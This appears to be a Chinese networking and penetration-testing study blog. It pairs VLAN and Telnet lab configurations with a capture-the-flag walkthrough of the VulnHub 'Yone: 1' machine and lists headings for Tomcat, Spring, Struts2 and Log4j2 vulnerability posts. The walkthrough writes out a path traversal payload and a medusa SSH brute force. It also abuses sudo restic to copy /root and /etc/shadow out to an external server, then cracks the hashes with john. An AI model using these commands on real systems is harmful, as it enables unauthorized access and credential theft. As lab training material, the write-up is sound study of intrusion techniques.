SW1和SW2上分别创建vlan10和vlan20，要求PC3和PC5属于vlan10，PC4和PV6属于vlan20
SW1和SW2相连的接口配置为trunk类型，允许vlan10和vlan20通过
测试效果，同一vlan的PC可以互通，不同vlan的PC无法互通

配置步骤#

1
交换机1的配置：
2
vlan 10
3
port g1/0/1
4
vlan 20
5
port g1/0/2
6
int g1/0/3
7
port link-type trunk
8
port trunk permit vlan 10 20
9

10
交换机2的配置：
11
vlan 10
12
port g1/0/2
13
vlan 20
14
quit
15
int g1/0/1
16
port link-type trunk
17
port trunk permit vlan 10 20
18
int g1/0/3
19
port link-type trunk
20
port trunk permit vlan 10 20
21

22
交换机3的配置：
23
vlan 20
24
port g1/0/2
25
vlan 10
26
quit
27
int g1/0/1
28
port link-type trunk
29
port trunk permit vlan 10 20

展开收起

验证测试#

在 PC1 上 Ping PC3，发现可以 Ping 通，在 PC1 上 Ping PC4，发现不能 Ping 通。在 PC2 上 Ping PC4，发现可以 Ping 通，在 PC2 上 Ping PC3，发现不能 Ping 通。

Telnet配置实验

2026-08-24T01:00:00.000Z

实验拓扑#

实验前需要先配置路由器的G0/0接口的IP地址，请确保真实PC与路由器网络互通（可通过ping测试）。

实验需求#

按照图示连接到真机，并配置IP地址（真机IP地址配置到VirtualBox Host-Only Ethernet Adapter网卡）
在R1上开启Telnet服务，创建用户wangdaye，密码123456用于身份验证
在真机上使用S-CRT通过Telnet登录R1

配置步骤#

步骤1：开启Telnet服务并创建用户#

1
# 开启Telnet服务
2
telnet server enable
3

4
# 创建管理用户wangdaye，密码ynm@123456，允许Telnet登录，赋予最高权限15
5
local-user wangdaye class manage
6
password simple ynm@123456
7
service-type telnet
8
authorization-attribute user-role level-15

⚠️ 注意：password simple 会以明文存储密码，实际生产环境建议使用 password hash 增强安全性。

步骤2：配置VTY线路认证模式#

1
# 进入VTY 0~4线路，设置认证模式为scheme（本地AAA），并指定默认权限级别
2
user-interface vty 0 4
3
authentication-mode scheme
4
user-role level-15

验证测试#

打开 Xshell，点击“新建”会话。协议选择 TELNET，主机填写路由器接口 IP（192.168.56.2），端口号保持默认 23。点击“连接”，Xshell 会提示输入用户名，输入 wangdaye，然后输入密码 ynm@123456（注意密码输入时不显示字符）。登录成功后，将看到路由器命令行提示符（如）。

Yone

2026-08-19T00:00:00.000Z

项目	详情
靶机名称	Yone: 1
难度等级	Medium（中等）
目标	获取 root 权限并找到 `/root` 目录下的 flag
下载链接	https://www.vulnhub.com/entry/yone-1,543/#download
攻击机 (Kali)	`192.168.197.10`（建议使用 NAT 模式）
靶机 (Yone)	`192.168.197.172`（DHCP 自动分配）

一、信息收集 (Reconnaissance)#

信息收集是渗透测试的基石，决定了后续攻击面的广度。

1.1 主机发现#

使用 nmap 在本地网络中定位靶机 IP。

1
nmap -sn 192.168.197.0/24

结果输出：发现目标 IP 为：192.168.197.172

1.2 端口与服务扫描#

使用 Nmap 对靶机进行全面的端口和服务扫描。

1
nmap -p- --min-rate 1000 192.168.197.172        # 快速全端口扫描

1
nmap -p 22,80 -sV -sC -O 192.168.197.172   # 深入服务探测

扫描结果分析：

端口	服务	状态	初步判断
22	SSH	开放	可能存在爆破或密钥泄露风险
80	HTTP	开放	主要 Web 攻击面

二、 Web 渗透 (Web Penetration)#

Web 服务通常是突破口，需要细致地挖掘每一个细节。

2.1 绑定 Hosts 文件#

直接访问 IP 的 80 端口，发现图片无法显示。查看图片地址，发现其指向了一个域名 yone.lc。这意味着我们需要在攻击机的 /etc/hosts 文件中手动添加域名解析。

注意：由于 yone.lc 是一个并不存在于互联网公共 DNS（域名系统）中的“假域名”（这本应该是服务器（靶机）自己在公共 DNS 建立的域名，但是这里的服务器是靶机，因此公共 DNS 没有该域名，需要在kali里面手动添加），所以kali根本不认识它，无法解析出 IP，图片自然就加载失败了。

1
sudo echo "192.168.197.172    yone.lc" >> /etc/hosts

2.2 网站功能探索#

使用域名 http://yone.lc 访问网站，发现这是一个可以注册新用户的 Web 应用。 操作步骤：

注册一个新账号并登录（ynm/123456）。
登录后，首页是一个文件上传页面，并且已经存在两个上传过的图片。

2.3 发现路径遍历漏洞 (Path Traversal)#

点击第一张图片，发现 URL 中存在一个参数 link： http://yone.lc/download?link=right.jpg 这是一个典型的文件下载功能，可以尝试进行路径遍历攻击，读取系统敏感文件。

注意：如果这里点击第二张图片，会直接下载，因此没有收获。

验证 Payload： http://yone.lc/download?link=../../../../../../../../etc/passwd 结果：成功读取到 /etc/passwd 文件，确认存在路径遍历漏洞。

在 /etc/passwd 文件中，我们注意到一个本地用户 yone。

三、获取初始 Shell (Initial Access)#

既然已知系统存在用户 yone 且 SSH 服务开启，最直接的方式就是进行密码爆破。

这里有几个问题，解答如下：
1.为什么这里不直接对root用户进行爆破呢，除了题目名字为yone以外还有其他原因吗？
答：理论是可行的，但是有几个问题。第一，绝大多数 Linux 发行版（包括 Ubuntu）的 SSH 服务默认配置中，禁止 root 用户通过 SSH 进行密码登录。第二， root 是系统最高权限账户，管理员在设置时通常会使用更长、更复杂的密码，如本次 Yone 靶机中的root密码实际是123456789!@#$%^&*(。第三，爆破 root 会产生大量 SSH 登录失败日志（/var/log/auth.log），更容易触发告警机制（如 fail2ban），导致攻击 IP 被封锁。爆破普通用户相对隐蔽，且即使失败，也不如 root 爆破那样引起管理员的立即警觉。
2.能不能不获得/etc/passwd文件，直接使用字典对SSH进行爆破？
答：理论可行，但实际不行。用户名未知等价于爆破成本指数级增加。如果既不知道用户名，也不知道密码，爆破的组合是：用户名 × 密码 = 待尝试次数。假设字典有 10000 个用户名、10000 个密码，就需要尝试 1 亿次。而通过信息收集（如读取 /etc/passwd）获取到有效用户名 yone 后，爆破组合骤降为：1 个用户名 × 10000 个密码 = 10000 次，效率提升了 10000 倍，这在实战中意味着几小时 vs 几天的差距。
3.能不能直接通过路径遍历漏洞读取 /etc/shadow 文件？
答：虽然我成功读取了 /etc/passwd，是因为该文件权限通常是 644 (-rw-r—r—)，允许所有用户读取。但这只是特例，不代表能读取所有系统文件。/etc/shadow 的文件默认权限通常是 -rw-r-----，其数字权限为 640，文件所有者是 root 用户，所属组是 shadow 组。因此所有者 (root)：拥有读写权限 (rw-)；所属组 (shadow)：拥有只读权限 (r—)；其他用户：没有任何权限 (---)。这意味着，只有 root 用户和 shadow 组的成员才能读取 /etc/shadow。

3.1 SSH 密码爆破#

使用 medusa 对 yone 用户进行 SSH 密码爆破。

为什么用 Medusa？ 可使用 hydra、medusa 或 Metasploit 等工具。由于根据网上一些资料显示 hydra 在此场景下运行较卡顿，因此改用 medusa 进行爆破。

1
medusa -u yone -P /root/字典/rockyou_2025_00.txt -h 192.168.197.172 -M ssh -F -t 10 | grep -E "ACCOUNT FOUND|SUCCESS"

参数说明：

-u yone：指定单一用户名。
-P：指定密码字典文件。
-h：指定目标主机 IP。
-M ssh：指定爆破的服务为 SSH。
-F：一旦找到正确的密码就停止爆破。
-t 10：指定线程数为 10。

爆破结果：用户名yone，密码12345qwert。

3.2 连接 SSH#

使用获取到的凭据成功登录 SSH。

1
ssh yone@192.168.197.172

查看当前的权限：

1
yone@ubuntu:~$ id
2
uid=1000(yone) gid=1000(yone) groups=1000(yone)

四、权限提升 (Privilege Escalation)#

现在的目标是从普通用户 yone 提权至 root。

4.1 检查 Sudo 权限#

输入 sudo -l 查看当前用户能以 root 权限执行哪些命令，且无需root密码（只需要当前用户的密码）。

1
sudo -l

关键发现：用户可以无密码地以 root 权限执行 /usr/bin/restic backup -r rest*。

4.2 利用 Restic 提权#

经过百度上的搜索，restic 是一个备份程序。如果我们可以控制 restic 的备份目标，就能利用它以 root 权限读取任意文件。

攻击思路：在攻击者控制的服务器上搭建一个 restic 服务端，然后让靶机上的 restic 以 root 权限将敏感文件（如 /root/flag.txt 或 /etc/shadow）备份到我们的服务器上。

步骤 1：在攻击机（或公网服务器）上搭建 Restic Server#

由于靶机可能无法主动连接内网，建议使用具有公网 IP 的云服务器。

⚠️ 网络注意：由于靶机和攻击机在同一内网，靶机可以主动连接公网，但不能主动连接内网，因此反弹 Shell 会失败。所以需要在公网云服务器上搭建 restic 服务端进行监听，而非在本地 Kali 上。

我使用阿里云服务器，购买成功之后，安装 Golang 和 Restic，然后启动 Restic 服务。

1
# 安装 Golang 和 Restic
2
apt install -y golang restic
3

4
# 克隆并编译 rest-server
5
git clone https://github.com/restic/rest-server.git
6
cd rest-server
7
export GOPROXY="https://goproxy.cn"
8
CGO_ENABLED=0 go build -o rest-server ./cmd/rest-server
9

10
# 启动服务（注意：--no-auth 表示无认证，仅用于实验环境）
11
./rest-server --no-auth

默认监听端口为 8000。

步骤 2：在靶机上初始化备份仓库#

在靶机 (yone) 上，使用 restic 客户端初始化一个指向我的服务器的仓库，并设置密码。

1
restic -r rest:http://47.122.104.169:8000/rest1 init

此处密码设置为 123456。

步骤 3：以 Root 权限备份敏感文件#

现在，使用 sudo 以 root 权限执行 restic backup 命令，将 /root 目录备份到我的服务器。

1
sudo /usr/bin/restic backup -r rest:http://47.122.104.169:8000/rest1 /root

4.3 获取 Flag#

在攻击机的 Restic 服务器上，可以通过 restic 命令查看并恢复备份文件，从而获取 flag。

步骤 1：列出所有备份快照#

首先查看已备份的快照列表，获取快照 ID：

1
restic -r rest:http://47.122.104.169:8000/rest1 snapshots

步骤 2：创建挂载点目录并挂载 Restic 仓库#

1
mkdir -p /mnt/restic
2

3
restic -r rest:http://47.122.104.169:8000/rest1 mount /mnt/restic

输入仓库密码（本例为 123456）后，会看到如下提示：

⚠️ 注意：挂载命令会保持前台运行，需要另开一个 SSH 终端来浏览备份内容。

步骤 3：使用 `tree` 查看目录结构#

在第二个 SSH 终端中，使用 tree 命令查看挂载点的完整目录结构：

1
tree /mnt/restic

从 tree 的输出可以看到，root.txt 位于 /mnt/restic/snapshots/latest/root/ 目录下。

步骤 4：读取 Flag#

1
cat /mnt/restic/snapshots/latest/root/root.txt

步骤 5：停止挂载（可选）#

在运行 restic mount 的终端中按 Ctrl+C 即可停止挂载服务。

1
^C
2
unmounting /mnt/restic...

到这里我们已经成功拿到root.txt，本靶场到这里就完结了，但是为了能真正拿到root权限，我们还是拿到root密码吧。

五、 Root 密码获取#

5.1 备份 Shadow 文件#

重复上述备份步骤，可以新建一个 rest2 存档，也可以复用之前的仓库，这里直接复用已有的 rest1 仓库，备份 /etc/shadow 文件：

1
sudo /usr/bin/restic backup -r rest:http://47.122.104.169:8000/rest1 /etc/shadow

备份完成后，此时 rest1 仓库中包含两个快照：/root 和 /etc/shadow。在云服务器上查看所有快照，记下备份 shadow 的快照 ID（fb1de187）：

1
restic -r rest:http://47.122.104.169:8000/rest1 snapshots

然后使用 restore 提取 shadow 文件：

1
mkdir -p /tmp/shadow_extract
2

3
restic -r rest:http://47.122.104.169:8000/rest1 restore fb1de187 --target /tmp/shadow_extract

然后直接使用XTFP即可查看/tmp/shadow_extract/etc下的shadow文件，双击即可下载到本地。当然这里也可以使用命令下载，或者直接在服务器上面使用cat命令查看。

5.2 合并 Passwd 与 Shadow#

将之前通过路径遍历获取的 /etc/passwd 和现在获取的 /etc/shadow 结合，使用 unshadow 命令将其转换为可用于破解的哈希格式：

1
unshadow passwd.txt shadow.txt > hash.txt

编辑生成的文件，只保留 root 和 yone 用户的相关行。

5.3 破解密码哈希#

使用 Kali 自带的字典（如 rockyou.txt）进行破解：

1
# 解压 rockyou.txt
2
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
3

4
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

经过约半个小时的破解，成功获取 root 密码：

root 密码：123456789!@#$%^&*(

5.4 切换 Root 权限#

使用破解出的密码切换至 root 用户：

1
su root

成功获取 root 权限，靶机渗透完成。

六、总结与复盘#

6.1 攻击路径总结#

信息收集：通过端口扫描发现 22 和 80 端口。
Web 侦察：发现域名 yone.lc 并绑定 hosts，注册账号探索功能。
漏洞发现：在文件下载功能点发现路径遍历漏洞，读取 /etc/passwd。
获取 Shell：利用读取到的用户名 yone，通过 Medusa 爆破 SSH 密码获取初始访问权。
权限提升：通过 sudo -l 发现 restic 命令的滥用机会，搭建服务端，利用备份功能窃取 root 敏感文件。

MyBLog

Apache Tomcat

一、漏洞原理#

二、漏洞复现#

1. CVE-2017-12615（PUT 方法任意写文件）#

2. CVE-2020-1938（Ghostcat AJP 文件包含）#

3. CVE-2025-24813（会话持久化反序列化 RCE）#

4. CVE-2026-34486（Tribes EncryptInterceptor 绕过 RCE）#

5. Tomcat7+ 弱口令 & 后台 Getshell#

三、漏洞原理总结#

四、修复方案#

Spring Framework

一、漏洞原理#

二、漏洞复现#

1. CVE-2016-4977（Spring Security OAuth2 SpEL 注入）#

2. CVE-2017-4971（Spring WebFlow SpEL 注入）#

3. CVE-2017-8046（Spring Data REST SpEL 注入）#

4. CVE-2018-1270（Spring Messaging SpEL 注入）#

5. CVE-2018-1273（Spring Data Commons SpEL 注入）#

6. CVE-2022-22947（Spring Cloud Gateway SpEL 注入）#

7. CVE-2022-22963（Spring Cloud Function SpEL 注入）#

8. CVE-2022-22965（Spring4Shell 数据绑定 RCE）#

9. CVE-2022-22978（Spring Security 认证绕过）#

10. CVE-2025-41242（Spring + Jetty 路径穿越）#

三、漏洞原理总结#

四、修复方案#

Apache Struts2

一、漏洞原理#

3.1 漏洞原理#

3.2 题目列表#

二、漏洞复现#

方式一：S2-016（URL 参数注入）#

方式二：S2-045（Content-Type 注入）#

方式三：S2-057（Namespace 注入）#

方式四：S2-061（标签属性注入）#

方式五：S2-067（文件上传路径穿越）#

📋 Struts2 漏洞对比一览#

Apache Log4j2

一、漏洞概述#

二、漏洞验证（DNSLog 探测）#

三、漏洞利用（反弹 Shell）#

3.1 漏洞原理#

3.2 操作步骤#

四、修复方案#

NAT 实验

实验拓扑#

实验需求#

实验解法#

1.配置 IP 地址#

2.R1 和 R3 上配置默认路由指向公网#

3.私网 A 内部单臂路由配置#

4.私网 A 通过 NAPT 使 Vlan10 和 Vlan20 都能够使用 R1 的公网地址访问互联网#

步骤 1：R1 上创建基本 ACL，允许 192.168.1.0/24 和 192.168.2.0/24 网段#

步骤 2：R1 上创建 NAT 地址池，设置公网地址#

步骤 3：在 R1 的公网接口上配置 NAPT#

检测：在 PCA 上 Ping R3 的公网地址，测试是否可以访问互联网。#

5.私网 B 通过在 R3 上配置 EASY IP 访问互联网#

步骤 1：R3 上创建基本 ACL，允许 192.168.1.0/24 网段#

步骤 2：在 R3 的公网接口上配置 EASY IP#

检测：在 PCB 上 Ping R1 的公网地址，测试是否可以访问互联网#

6.私网 A 配置 NAT SERVER 把 FTPA 的 FTP 服务发布到公网，使 PCB 可以访问#

步骤 1：配置 FTP 服务#

步骤 2：在 R1 的公网接口上配置 NAT SERVER，映射端口 20 和 21#

步骤 3：在 PCB 上测试是否能够通过 R1 的公网地址访问 FTPA 的 FTP 服务#

IMF

一、 信息收集 (Reconnaissance)#

1.1 主机发现#

1.2 端口与服务扫描#

二、 漏洞利用 (Exploitation)#

2.1 Web 渗透#

2.1.1 获取 Flag1#

2.1.2 获取 Flag2#

2.1.3 获取后台路径与 Flag3#

2.2 SQL 注入与 Flag4#

2.3 文件上传与 WebShell（Flag5）#

三、 权限提升 (Privilege Escalation)#

3.1 发现 Agent 服务#

3.2 缓冲区溢出漏洞利用#

3.2.1 下载并执行 Agent 程序#

3.2.2 构造 Exploit#

一、信息收集 (Reconnaissance)#

二、漏洞利用 (Exploitation)#

三、权限提升 (Privilege Escalation)#